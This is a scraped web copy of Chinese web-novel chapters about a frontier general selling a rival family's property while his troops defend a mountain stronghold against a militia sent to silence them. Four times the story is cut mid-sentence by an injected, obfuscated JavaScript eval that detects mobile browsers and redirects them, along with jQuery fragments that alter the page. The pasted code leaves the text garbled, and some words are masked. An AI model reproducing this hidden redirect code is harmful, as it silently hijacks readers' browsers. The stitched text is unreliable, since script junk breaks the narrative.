;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418900|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
幽州告状。
自己则再不敢公开与秦猛作对。
没了董袭撑腰,这群掌柜和管事也不敢闹腾,刘家众多商铺、城郊山头等产业,就这样易主。
消息传开,青阳郡的早市炸开了锅。
税吏班头张琨按着秦猛的授意,早就放出风声。
——刘家产业将用以兑换钱粮,盼有实力者接手。
秦猛身为边塞将领,一来没时间打理商铺,二来按大周规制,官员不得经营产业与民争利。
起初,富户商贾们多在观望。
他们怕郡衙突然插手,更怕秦猛以“强占”为名事后追责,毕竟刘家产业来路本就不清不楚。
可没等多久,县衙四处张贴榜文,明言“欠债还钱,天经地义,刘家产业归秦猛处置,兑换合规”。
郡衙更是直接开出公文盖章确认。
这一下,郡城彻底轰动。
刘家的商铺多在闹市区,客流量大、盈利稳定,山头更是种果树,搞养殖,是实打实的“肥差”。
此前众人虽眼热,却碍于刘德福的势力不敢伸手,如今有官府背书,谁愿错过这分羹的机会?
富户们纷纷备上银钱粮秣,浩浩荡荡往城北军营赶,都想在产业兑换中抢下最优质的份额。
军营内,庞仁正对着秦猛犯愁。
方才秦猛找到他,说要调他脱离边军,去郡县巡检司任使臣,负责整顿兵卒,训练地方军。
他眼睛瞬间瞪得溜圆:“大人,我不想离开边寨!李山、张富贵他们都比我合适,您换个人行不行?”
秦猛飞起一脚踹在他屁股上,笑骂道:“傻小子,巡检司是正经官职,能独当一面,这是美差!
张富贵,李山他们打仗勇猛,可论脑袋机灵、懂捕盗缉贼,谁比得上你?
你得学着挑大梁,况且军营离巡检司驻地就三五里路,想回来看看、参加集训,随时都能来。”
一旁的袁飞也凑过来拍他肩膀:“庞兄弟,边陲巡检司有300兵额,这可是秦大人特意为你讨要的职位,多少人求都求不来,别犯傻。”
庞仁听两人这么说,神色渐渐松动,最后咬了咬牙:“行,我去!那我有个要求,要带刘大头和唐****去,有他们帮衬,我才放心。”
秦猛沉吟片刻点头应下,却不忘叮嘱:“到了地方好好做事,不许拉帮结派搞小山头,要是懈怠军务,出了岔子,我可饶不了你。”
庞仁立马挺直腰板应了声“是”。
……
“驾,驾……”
荒野劲风卷着黄沙,刮得骑兵孙钱的脸颊生疼。他左手攥着缰绳,右手不时拍打战马的脖颈。
每隔半个时辰,他便利落翻身,换乘另一匹备好的骏马。马蹄踏碎冻土,一路尘土飞扬。
当地平线上终于浮现出青阳郡城青灰色的轮廓时,孙钱紧绷的肩背骤然松弛,风尘仆仆的脸上裂开一道笑意,连眼中的疲惫都淡了几分。
第85章 冷艳山急报
商铺兑换物资的消息在郡城传开后,不少富户商贾动了心思,纷纷打发家丁、护卫往军营跑,打探具体章程。
得知兑换要等明日晌午正式开始,众人仍没歇着,转头就各展神通,调运粮食、赶着猪羊往军营送。
——与其等明日竞价,不如先示好,也能给这位秦将军留个好印象。
秦猛得知消息,当即下令:“所有送来的物资,一律按市价结算,不许占边民半点便宜。
他们是人民子弟兵,绝不拿百姓的一针一线。”
从上午到下午,这短短的光景,军营竟陆续收了几百石粮食,还有百十头肥壮猪羊。
不拿百姓一针一线的消息被某个家伙故意宣传。在城内又是掀起一场轰动,许多百姓自发涌来。
有人拎着装着鸡蛋的篮子,有人送上自家菜蔬。
结果统统按略高市价收购,不搞小动作,不少一个铜板。
军营外的百姓聚拢了很多,秦猛直接让人竖起了募兵告示。
告示写明,凡身体健康、愿意投军且符合要求者,可成为土兵;凡能开一石强弓、马术精湛、能抱起二百斤石锁者,则直接入边军。
优厚待遇更是用红字标注。
仅“入军伍天天有肉吃”这条,就令不少人趋之若鹜。
从招兵旗竖起来时,就不断有人上前报名投军,除了本地青壮,还有商队护卫扛不住诱惑。
袁飞、王善亲自负责征兵事宜,只要符合初选条件,就会引入军营测试骑马、射箭等技能。
通过的佼佼者更是选入亲兵队。
秦猛意外听见常家护卫队私下议论庞仁转调地方当了官,他们看着招兵点,眼中闪过一丝羡慕。应该是碍于常家护卫身份而不敢投军。
残阳西斜,伙房里顿时热闹起来。
大锅里炖着猪肉粉条子,汤灶上熬着羊肉汤,还炒了几样清爽素菜,香气顺着风飘得满营都是。
秦猛刚端着碗坐下,就见**领着个年轻人过来。
那年轻人二十来岁,身高七尺,穿着一身洗得发白的书生袍,眉眼间透着几分拘谨与好奇。
正是李铁匠长子、在郡城求学的李恒。
“大人……”李恒看着秦猛,犹豫着拱手行礼,话还没说完,就被秦猛摆手打断:“都是一家人。不用这么生份,我还是喜欢以前的称呼。”
“猛子哥?”李恒愣了愣,听到这熟悉的叫法,心里的紧张顿时消了大半。
他上下打量着秦猛,发现昔日的玩伴懵懂的眼神早已不同,锐利如刀,周身还透着一股让人不敢直视的威势,哪还有半分当年的憨傻?
秦猛笑着拍了拍身边的空位:“坐,一起吃。”
两人边吃边聊,秦猛话锋一转,说起正事:“现在戍堡升格为军寨,你要是愿意回边寨。
我给你留个书吏的位置,协助寨衙起草签发公文、处理寨里的事,不比在外头漂泊求学强?”
李恒握着筷子的手顿了顿,想起这些年求学的坎坷,又看着秦猛真诚的眼神,终是点了点头。
“猛子哥,老头子也跟我说过,这条路不好走,比不过那些有钱有势的人,我跟你回边寨。”
在他看来,边陲之地日子虽苦、虽危险,但有熟人相伴,有实事可做,总比在功名路上空耗光阴强。
“好……”秦猛露出个笑脸,正欲说些寨子内的事儿。
突然,伙房外传来急促的马蹄声。
不久后,王善领着亲兵抬着一名军汉冲入伙房。
**立刻带着队伍拉起警戒线。
“不好…不好啦,大人,出大事儿了!”
那军汉叫孙钱,是南河戍堡原住民,见到秦猛,挣扎着双脚落地,脚步踉跄地跑过来汇报。
秦猛瞳孔剧烈收缩,猛地从椅子上站起来。
——他看到这汉子脸颊、嘴唇被冻得开裂,头发散乱,双腿根部更是已经磨得血肉模糊。
这些痕迹,明显是长时间骑马狂奔赶路造成的。
“兄弟,不要急,慢慢说。”秦猛箭步上前搀扶住他。
“大人,事态紧急。”孙钱强撑起精神,凑到秦猛耳边,声音急促却清晰:“我们成功夺下冷艳山,二当家韩勇和刘三也投奔了我们。
可没想到的是,幽州地方军队紧随而来灭口,现在山寨被围,具体情况不明,不容乐观……”
又是这幽州地方军队?
秦猛眼中杀机暴涨,待问清楚情况后,却又逐渐冷静下来。
他拍拍孙钱的肩膀:“兄弟放心,会没事的。”
随后高声吩咐:“来人,快把孙钱兄弟抬下去救治,再做些肉粥给他补补。”
几个亲兵应声上前,抬着孙钱下去了。
秦猛又把**叫来,低声嘱咐了几句,后者转身快步离去。
他则重新招呼李恒坐下,继续吃饭。
李恒心里满是好奇,想问些什么,却终究没开口。
秦猛看出了他的心思,笑着解释:“不是什么大事,就是张富贵率队剿灭山贼,有伙贼人胆大包天,包围了你富贵哥率领的边军队伍。”
顿了顿,他又补充道:“不过这件事你不需要管,你只要把我下面交代的事情做好就行。”
“就当是你做书吏的考验。”秦猛语气加重了三分。
“是!”李恒立刻昂首挺胸回应。
“明日会有很多富户商贾来竞争我抛出去的产业,你只需引导开拍,其他事我自有安排。”
秦猛一边吃饭,一边跟李恒说起明天的任务!
详细交代哪间商铺值多少钱、该换多少粮食。又点明哪些人是自己人,提醒他逢场作戏时不要露出马脚……
而在这期间,**已悄然传令各处,部分寨兵和常勇等三十人开始收拾行囊,吃饱喝足后,带上干粮,分批出城。
夜幕降临,一支人配双马的骑兵队伍悄然出发,奔赴冷艳山。
……
次日,“铁血军寨秦将军偶感风寒”的消息传开,却丝毫没能阻止那些想要得到商铺产业的富户们。
城
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418901|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
北军营外早已车水马龙。
郡城内外的有钱人几乎都赶来了。
连常九派出的几支队伍也混入其中,按约定来军营参与竞争。
“秦将军在营中设了兑换点,诸位按次序排队,先验资,再选产业,一手交钱,一手交地契!”
军营门口,亲兵队长王善带着一队兵卒维持秩序,同时悄悄为李恒指引谁是常家商队的人。
富户们纷纷勒住马缰,或从车上下来,进入宽敞而温暖的营房内,一一落座,喝着热茶。
目光落在面前产业清单上,个个摩拳擦掌。
有个肥头大耳的粮商,直接让人抬着两箱银子过来,嗓门极大:“我要刘家西街的粮铺。
那铺子地段好,我出三千两银子!”
旁边一个布商立刻不服:“三千两就想拿下?我出四千两!”
“我出五千两!”
紧接着又有人加价,众人顿时吵了起来,价码一路飙升。
李恒虽有些紧张,却没有怯场,严格按照秦猛此前的交代行事:若是无人叫价,便扫视众人,询问三圈,确认无人回应后,就直接拍板,宣布交易达成。
随后,他会说明稍后将进行地契转让、签署公文,确保双方利益,还会提及退还部分钱粮、秦猛将占据两成股份并帮忙训练护卫等具体事宜。
午后,郡守衙门再次来人。
昨天林郡守派人审讯冷艳山寨俘虏,得出的结果让他心惊,又有些不敢置信。
所以今天,这位林郡守亲自带着衙役、仵作来军营,要提审那十来个贼匪头目。
这些头目此前在边寨已被单独审讯过,后来被关在一起时,隐约听到大当家严彪哀嚎招出“有人送粮,怂恿攻寨”的话,此刻面对林安国的审问,虽仍有推诿,口供却渐渐趋同。
他们供认,几日前夜里,一个叫刘三的人送了十车粮秣到山寨,说只要能打下边军军营,事后还有重金相谢,还承诺出了事有人兜着。
虽没人直接说刘三是刘德福所为。
可刘德福在郡城势力不小,府中管家恰好就叫刘三,这层关联任谁都能猜到。
更让林安国心惊的是,贼匪头目还供出,冷艳山寨能在边塞存活这么多年、从未被官府真正围剿,是因为有幽州的官员暗中庇护,甚至帮他们把掳来的边民卖到大草原为奴,从中分利。
这些口供与此前秦猛查到的线索相互印证,林安国拿着供词的手都在微微发颤——这事牵扯到幽州官场,稍有不慎便是塌天大祸。
尤其是王善私下告诉他。
秦将军已经不在城内,而是率领队伍去救援被贼人包围的剿匪军队后,他心里更是沉甸甸的!
“大人临走前特意交代过,此事太大了,不想置身危险,就得装傻。”王善的话在耳边回响。
林安国自然明白其中深意,脸色变得越发阴沉。
他双拳紧紧攥起,心中已有决断:必须尽快整理好证据,奏报朝廷,唯有如此,才是为官之道。
第86章 浴血奋战(一)
“杀、杀、杀啊……”
冷艳山上的厮杀声,几乎要掀翻阴沉的天。
夹杂血腥味的寒风使劲刮着,却压不住漫山遍野的肃杀。
“嗤啦——”
张富贵踩着寨墙上的血迹,刚把一名爬上墙的厢军劈翻,滚烫的血珠就顺着下颌线往下滴。
耳后突然一阵风,他偏头的瞬间,一支羽箭“笃”地钉进夯土寨墙里,箭羽还在嗡嗡震颤。
“富贵哥,小心背后!”
寨兵张铁蛋的吼声刚落,一柄长矛已直刺张富贵后心。她想扑上前相助,却有人速度更快。
韩勇斜身扑来,卷刃的朴刀带着风声格开长矛,手臂上渗血的布条被劲风扯得晃了晃。
他脸色早因失血泛白,握刀的手却稳得像生了根,顺势一刀,抹了那偷袭厢军的脖子。
这位冷艳山二当家是真心联合,作战异常勇猛。
“将军,伤号都移去主寨了!”
“关隘寨门快顶不住了!撤吧,退守主寨!”
张富贵顺着韩勇指的方向看,木寨门外厢军使劲撞着门,“轰隆”的撞门声震得人耳膜发疼,门板裂缝里都能看见外面厢军的兵器尖。
刘三带着十来边军死死抵着门,脸憋得通红,额上青筋暴起,连喊号子的力气都快没了。
“娘的!想我张富贵头回领兵在外作战,竟被这群地方军追着跑,打得接连逃窜,脸都丢尽了!”
张富贵啐了口血沫,拎起身边腿伤的悍匪撤退。
“快!点火烧寨门,撤!”
“撤!”韩勇和张铁蛋摸出火折子,往泼了火油的干草上一凑,火苗“腾”地窜起,转眼就把寨门裹在火里。
刘三等边军早就退得远远的。
没了人抵着,第二道关卡的木门很快被撞得粉碎。
可熊熊大火像道墙,把厢军的追兵拦得死死的。
张富贵带着几十人,趁着火势阻拦,往主寨退。
——谁能想到,原本手到擒来的“收寨”,竟变成了拿命赌的硬仗。
两日前夜里,他和王铁山带百名边军摸进山寨时,这里的守备松得可笑。
老弱贼兵全跪了,二当家韩勇和刘三也主动投了诚。
可刘三刚咬牙说出实话:“刘德福跟他女婿杨浩——就是那幽州统制官!要派兵来灭口。
连我都要杀,要剿匪立功,还要卷走山寨的钱!”
话音未落,山下就传来马蹄声,像炸雷似的。
韩勇的手下就慌慌张张跑上山,说有官兵来袭。
“报!山下好多州府厢军,马步混编,得有几百人!”
暗哨探得准,张富贵没犹豫,立刻跟韩勇合兵,与这位山寨二当家联手抗敌,守在关卡上。
冷艳山就主寨和山道两道关卡。
张富贵刚站上寨墙,心就沉了下去。
山坡下黑压压的队伍,骑兵,步兵列得整整齐齐,皮甲上的铁片在火把光里闪着冷光。
哪是普通守军的样子?
“山上的贼人听着!”
领头的军官提着马鞭喊,声音顺着风飘上来,“我是幽州府军营指挥使杨全,奉统制官令剿匪!”
“开门投降,饶你们不死;敢抵抗,一个不留!”
“我们是铁血军寨,北疆边军,不是山贼!是误会!”王铁山忍不住要喊,被张富贵按住了。
“别多话,说清身份就行。”
可杨全听完,只冷笑一声:“铁血军寨?没听说过。山贼还敢冒充边军?弓箭手,射!”
果然,地方军队就是来灭口的。
夜色里,弓弦声密密麻麻,箭雨像黑虫子似的扑过来。
张富贵赶紧喊众人蹲下,让盾手举盾,又压低声音:“等会儿装中箭,叫得越惨越好。”
箭雨不停,寨墙上立刻“哀嚎”一片。
有人抱着手臂喊“腿断了”,有人捂胸口叫“我的眼睛”,韩勇和刘三也往地上一躺,哼哼唧唧装伤。
还有人“啊啊”惨叫几声后没声了,连气都不喘了。
张富贵借着火光看得真切,横肉脸上连连抽搐。
而杨全在山下听得真切,脸上露出得意的笑。
他早知道山寨空虚,没多少人。
“兄弟们,贼人垮了!”他挥着马鞭,向前一指。
“先冲上去的,赏银五十两!”
“杀啊!”厢军步兵眼睛都亮了,举着刀枪往山上冲,脚底下恨不得生风。
张富贵趴在垛口后,盯着越来越近的人影,在心里数:八十步、七十步、六十步……
等最前面的厢军到了百步远,他猛地站起来,环首刀往空中一劈:“放箭!”
擅长射箭的寨兵,山贼纷纷弯弓搭箭。百张硬弓同时响,箭矢像暴雨似的扎进厢军堆里。
那些厢军以为山贼早垮了,哪来得及躲避?
“噗嗤、噗嗤”的入肉声里,前面的人成片倒下,后面的收不住脚,撞在尸体上,顿时乱成一团。
“杀!”王铁山提着刀盾冲出去,突击队跟在后面,像猛虎下山似的,居高临下地**。
穿铁甲的边军三人一组,六人一队,砍起人来不含糊,厢军很快就溃了,被王铁山追着往山下跑。
寨墙下很快堆了几十具尸体。
张富贵没歇着,让韩勇和刘三带人去收拾战利品,扒皮甲、捡兵器,能武装一个是一个。
“妈的,还真是边军!”
杨全在山下看得清楚,脸渐渐黑了。
那铁甲、那箭术、那配合,分明是正规边军!
他心里发慌——边军怎么会在这儿?
要是留了活口,杨家勾结山贼的事就瞒不住了。
整个杨家都得掉脑袋!
“一个都别放跑!”杨全咬着牙下令,“这群山贼狡猾,能打
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418902|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,装备也好,今天必须踏平山寨!”
他带来的本就是杨家私藏的精锐,又许了升官赏钱,重新整队后,攻势比之前猛了好几倍。
弓箭手在后面不停射,箭雨像瀑布似的往寨墙上砸;步兵扛着云梯往上冲,一架接一架搭在寨墙上。
“滚木礌石,砸下去!”王铁山抱起磨盘大的石头往下扔。
碎石裹着血肉滚出老远,厢军的惨叫听得人头皮发麻。
韩勇守在另一边,见有人要爬云梯上来,立刻带着换了皮甲的喽啰补上去,刀砍**,不让人靠近寨墙。
张富贵看着厢军冲得凶,突然喊:“去伙房,把那几锅开水抬来!”
“让后面的女人接着烧,就说又有山贼攻来了!”
“是!”
没多久,几个冒白烟的木桶就被抬到寨墙边。
“给老子用瓢舀,慢慢泼!”
张富贵一声令下,一瓢瓢开水顺着云梯往下浇。
“滋啦——”开水烫在人身上,惨叫声比之前还凄厉。
云梯上的厢军士兵像下饺子似的往下掉,衣服都冒着烟,摔在山道上,不是死就是残。
寨墙上的箭没停,滚木礌石往下砸,更是让厢军死伤一片。
这几十米的山道,成了要命的鬼门关,厢军踩着同伴的尸体往上冲,却怎么也冲不过来。
这场仗打了半宿,直到太阳升到头顶。
守方占着地势,只伤了七八个山贼。
可山下的厢军,已经折损了一半多。
可没等众人喘口气,又有几百厢军赶来相助。
更糟的是,杨全得了援兵,竟分兵绕到后山,要两面夹击。
厢军在山下煮了饭,午后又开始攻山。
前寨刚打起来,后山就传来厮杀声。
张富贵心里一紧,赶紧让王铁山去守后寨。
“将军,我也去!刘三,跟我走!”韩勇提着刀就请战,刘三立刻跟上。
两人带着几十个悍匪往后山跑。
后山的厢军已经攻上山坡,正往寨里冲。
王铁山先放了一波箭,接着,跟韩勇冲上去**,刘三则带人抵着后寨门。
几人配合着,打退一波又一波敌军。
真正的血战,这才刚开始。
仗一打就是两天。
厢军靠人多,投入了上千兵力,两面夹击,慢慢占了上风。
可守军,总共才两百多人,死一个少一个,只能靠着山寨的关卡和险要地势固守,硬撑。
边军穿铁甲,伤得少,战力还在。
韩勇的喽啰却伤了一半多,大多带伤。
韩勇自己左臂的伤口裂了又包,布条早被血浸透,可他还是握着刀冲在最前面,没退过半步。
昨晚,山前首关防线丢了。
今天黄昏,中段关隘也守不住了。
众人无奈,退到没路可退,撤进了核心主寨。
第87章 浴血奋战(二)
那把大火并未阻敌太久!
木质寨墙燃烧的噼啪声响,很快被震天的喊杀声淹没。
“冲上去,别给他们喘息之机!”杨全脸色阴沉,声音已喊得沙哑,嘶哑中裹着恼羞成怒。
他原以为当夜就能踏平山寨。
不料这场攻防战竟持续了两天两夜。
杨家精心培养的精锐死伤已逾数百,却仍未触及核心寨区。
若不能将此任务圆满完结,他这杨家旁支子弟,丢官罢职都是轻的,只怕项上人头也不保。
“杀!第一个杀入山寨者,官升三级,赏银千两!”
杨全挥刀厉喝,试图以重赏催动最后的攻势。
厢军兵卒眼中迸射出贪婪与疯狂,齐声吼叫着向前冲去。
尽管都明白率先攀登云梯者九死一生,但人人都抱有侥幸心理,盼着自己就是那个幸运儿。
“杀!”他们呐喊着,不顾一切地涌向核心山寨。
与此同时,后寨也再次发动强攻,企图让守军腹背受敌。
“呜呜……”急促的号角声响起。
张富贵狼吞虎咽地扒完女人们匆忙做出的饭食,甚至来不及擦去嘴角的油渍,便起身大吼。
“集合,准备战斗!”
还能战斗的守军迅速分为两股,新的血腥搏杀再度开启。
韩勇收编的几十个山寨老弱,也投入了战斗。
他们或许气力不济,但已经得知地方军队要灭口,为了减轻罪责,为了活下去,奋勇玩命。
那些被救下来的女人们,则端着滚烫的开水穿梭在战场后方,遇到爬云梯的敌人,就将开水泼过去,滚烫的水汽中夹杂着敌人的惨叫。
山寨里此刻真的是有一个算一个,人人上阵,没有一个人退缩。
正面寨墙由张富贵亲自带百多人防守,韩勇和刘三在两侧协助指挥,三人都亲自下场厮杀。
后寨的攻击力度比前山稍减。
王铁山带领着数十铁甲寨兵死死守住,那些铁甲兵虽身形魁梧,铠甲上却也早已布满刀痕。
张富贵和王铁山作战勇猛,带队冲杀,死战不退。韩勇和刘三两人也不差,奋战在前线。
山寨里还有两个原本是山贼的汉子也格外勇猛。
一个叫赵虎,身高八尺,膀大腰圆,擅长用长斧,每一次挥舞,都能将敌人的云梯砍断!
另一个叫陈石,个子不高,身形矫健,箭术精湛。站在垛口上瞄准敌人,就没有不命中者。
两人各自领着一小队人马,一次次击溃敌军。
奈何,厢军的人数实在太多了,密密麻麻地涌上来。
二十多架云梯同时靠在前山寨墙上,守军根本来不及推开。
刚把这架云梯推倒,那架云梯上就已经爬满了敌人……
越来越多的厢军翻进寨墙,和守军扭打在一起。
混战中,一名厢军士兵趁着韩勇转身**的间隙,从背后挺矛刺来,矛尖带着寒光直逼韩勇后心。
“小心。”刘三惊呼,几乎是凭着本能猛地扑过去,用自己的身体挡在了韩勇前面。
“噗嗤”一声,锋利的长矛瞬间刺穿了刘三的肩膀,鲜血顺着矛杆往下淌,瞬间就染红了他的衣襟。
刘三闷哼一声,却死死抓住矛杆,不让对方拔出去,将手中长刀狠狠掷出,切开对方脸颊。
他拔出**,看着韩勇,用尽全身力气嘶声道:“韩兄弟,别…别管我……守住……山寨……”
韩勇回头看到这一幕,双眼瞬间红了,他反手一刀狠狠砍下,竟直接斩杀一个偷袭的厢军。
随后他一把将刘三扶住,交给身边的心腹,声音带着颤抖却依旧坚定:“快带他去包扎。”
“其他人跟我杀!”
他提着卷刃的朴刀再次冲进敌群,朴刀挥舞间,血花溅得满脸都是,每一刀都带着复仇的怒火。
前山的局势愈发危急。
杨全下令不惜一切代价全力冲锋!
厢军如同疯了一般攀附而上,直接踩着同伴的尸首翻入寨内,与疲惫的边军士兵扭打在一起。
“老张!箭没了,石头也快用完了!”
王铁山脸上被划了一道长疤,从额头一直到下巴,血还在往下滴。打退敌人,喘着粗气跑过来。
他声音沙哑得像破锣,“弟兄们连刀都快举不动了,有的刚砍倒一个,自己就累得倒在地上!”
张富贵几次下场厮杀,飞虎铠甲被砍出几道豁口,血顺着缝隙往下淌,染红了里面的衣袍。
他环顾四周,寨兵与山贼们,个个疲惫不堪。
有的靠在垛口上大口喘息,有的坐在敌人的尸体上,手里紧紧握着武器,眼神却依旧坚定。
山下,又传来杨全那歇斯底里的催促进攻声。
“最后一次冲锋!拿下山寨,赏银翻倍!给我冲啊!”
厢军如潮水般再次涌来,仿佛要将整座山寨吞噬。
“是时候了,用**锏吧!”王铁山急切地看向张富贵。
张富贵最终重重点头:“好!用火,烧死他们!”
很快,他们从马鞍袋里取出几样东西:
数个装满火油的葫芦、二十多个陶瓷瓶、一匣油布引信,还有一包亮银色的不知名粉末。
几名军汉迅速从山寨仓库搬来库存的火油桶,并寻来更多陶罐。
张富贵、王铁山与几名心腹立即开始赶制简陋的**。
得益于秦猛事先的安排,将领们去火器工坊帮过忙,这几日,张富贵的人已粗通制作之法。
而且**不好携带,马鞍袋里带着必备之物。
这原本为防备意外变故而准备的器物,此刻成了边军绝境中的救命符。
“点火!”
张富贵眼神锐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418903|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
利如鹰,厉声下令。
士兵们用火把点燃瓶口的油布,火焰迅速蔓延,映照着一张张沾满烟尘与血污的坚毅面孔。
“投!”随着张富贵再度怒吼,士兵们用尽最后的气力,将熊熊燃烧的陶罐朝着敌军最密集的区域猛掷下去!
“哗啦——”
陶瓷瓶接连破碎的脆响在山坡上爆开,黏稠的火油四处流淌,遇明火顷刻爆燃,化作一道道数米高的烈焰,瞬间将那片区域化为死亡之地。
凶猛的火舌贪婪地舔舐着厢军的皮甲、衣物和头发。
厢军士兵们凄厉惨叫着、翻滚着,试图扑灭身上的火焰,却引得火势更旺,混乱中许多人被自己人踩踏倒地,转眼间,便被火焰吞噬。
这可怕的一幕同样发生在后寨!
瞬间就让厢军损失惨重,击溃他们,这次冲锋。
“好可怕的玩意!”韩勇目睹此景,瞳孔剧烈收缩。
那刺鼻的气味他熟悉,是火油。
但寻常火油绝无如此可怖的威力,莫非边军掌握了某种极强的秘制火器?
杨全在后军看得目眦欲裂,脸色惨白如纸。
他无论如何也想不通,这群困守孤山的边军何以能拿出如此狠厉凶暴的武器!
那冲天而起的烈焰,不仅焚烧着他的士卒,更将他最后的一丝侥幸和希望也烧成了灰烬。
“撤!快撤!”他几乎咬碎了牙,才从喉咙里挤出这道命令。
厢军早就被吓得魂飞魄散,不敢靠近山寨。连滚带爬地逃下山坡,只求远离这片恐怖火海。
山坡上的火焰仍在噼啪燃烧,一股焦臭味弥漫。
零星传来几声垂死的哀嚎,随后很快归于沉寂。
张富贵扶着焦黑的垛口缓缓站直身体,冷冷望着撤退的敌军,血与汗混在一起,黏腻不堪。
这时,韩勇拖着受伤的臂膀走来,声音低沉。
“山后的厢军,也撤了。”
“嗯?”张富贵点了点头,目光扫过身边每一个疲惫到极点的弟兄,又望向远方幽州的方向。
——那是杨浩的势力范围,亦是此番劫难的源头。
他深吸一口掺着血腥与焦糊气的空气,握紧了手中的环首刀,声音虽哑却异常坚定:
“清理战场,救治伤员,把能用的箭矢、石头都归置好。对方不会善罢甘休,我料他晚间必来报复。
咱们务必在他卷土重来之前做好准备,这冷艳山,既然是咱们的栖身之所,就绝不能再丢。”
夕阳将山寨染得一片血红,更显悲怆!
守军们沉默地穿梭在尸骸与废墟之间,收敛战友遗体、搜集可用军械,无人抱怨,只因每个人都明白,短暂的喘息之后将是更为残酷的考验。
张富贵屹立寨墙之上,望着渐渐沉入远山的落日,心中澄澈:这场较量,方才只是开始。
第88章 号炮起,援军至
硝烟弥漫的战场上,伤兵的呻吟声稍纵即逝。被打扫战场的军卒补刀,给了他们一个痛快。
历经多次血战,这些军寨新兵眼神,麻木而凶狠——他们不想死,所以只能让敌人死喽!
“只要能活下去,就是最好的兵丁。”
“希望…援军能早点来吧!”张富贵默默祈祷。
利用这难得的间歇,张富贵、王铁山等人迅速处理伤口,盐水清洗,敷上金疮药,仔细包扎。
他们让兵卒抓紧时间吃饱喝足,找角落合眼休息,以便恢复体力,迎接即将到来的恶战。
山道关隘处,果然如张富贵所料。
杨全果然没有放弃,正在整顿残兵。
清点人数,发现伤亡已过半,他心中愤恨难平,手中的马鞭狠狠抽打在焦土上,溅起一串火星。
“一群废物!连个山寨都拿不下!”
任凭他怎么骂,如何宣扬赏赐,厢军士兵仍然士气低落。想起那可怕的**,不敢再战。
杨全和另外一个指挥使简单商议过后,没办法。
只能动用最后的预备队——三百骑兵。
这些骑兵本是压箱底的精锐,清一色草原好马,骑士佩刀,是防止山贼逃窜,追杀所用。
此刻却不得不下马当作步兵用。
杨全站在一处土坡上,目光阴鸷地扫过集结起来的军官们,声音沉得如同暴雨前的闷雷。
“实话告诉诸位!我等连日猛攻,却不能寸进。
对方人不多,却守御有度、战力强悍,绝非寻常山贼流寇,再身穿铁甲,十有**便是边军。”
“攻击边军、致其重大伤亡,此乃株连九族的大罪!”
军阵中顿时一阵骚动,恐慌在士兵脸上蔓延。
有人手中的兵器微微颤抖,有人下意识地后退半步。
杨指挥任职多年,煽动这一套玩得炉火纯青,无非是恐吓带蛊惑,见众人恐惧,话锋一转。
“事已至此,我等已无退路!”
“唯一活路,便是将他们尽数灭口,彻底抹杀于此山之中!”
“绝不能走漏风声,否则,将后患无穷。本将这是为了诸位及自家父母妻儿的身家性命!”
他脸上陡然浮现狠厉之色,猛地举起**,嘶声吼道。
“望诸位奋勇向前、有进无退!”
“本将亲自率队,随我——杀贼!”
“杀!杀!杀!”
这些地方厢军被逼入绝境,为了活命,为了家眷,只得瞪着眼珠子,硬着头皮将错就错。
在杨全的督率下,他们再次鼓起士气,杀声撼天。
待埋锅造饭,吃饱喝足后,已经入夜。杨全又做了一番动员,率队伍如潮水般扑向山寨。
山寨之内,张富贵、王铁山等人早已察觉山下异动。
寨墙上,守军将士严阵以待。
虽然大多带伤,血染战袍,却无一人退缩。
张富贵拄着长刀站立寨门墙最高处,望着山道上黑压压的敌军涌动,对身旁的王铁山笑道。
“老王,看来咱得要拼命了。”
“是又要拼命。”王铁山摸摸脸上疤痕,笑得狰狞。
“弟兄们,让他们有来无回!”
“杀,杀……”山寨内的喊杀声浑厚,更有杀气。
守军迅速动员起来,箭矢,滚木已所剩无几。许多人手中只剩下卷刃的环首刀和??了的**。
但每一双眼睛中都闪烁着决绝的光芒
——那是坚守阵地,置之死地而后生的勇气。
几个年轻士兵的手在微微颤抖,却被老兵一把按住。
“稳住,小子。”
“越是这时候越要硬气!”
“这群畜生来灭口的,你怕,人家就不杀你了?”
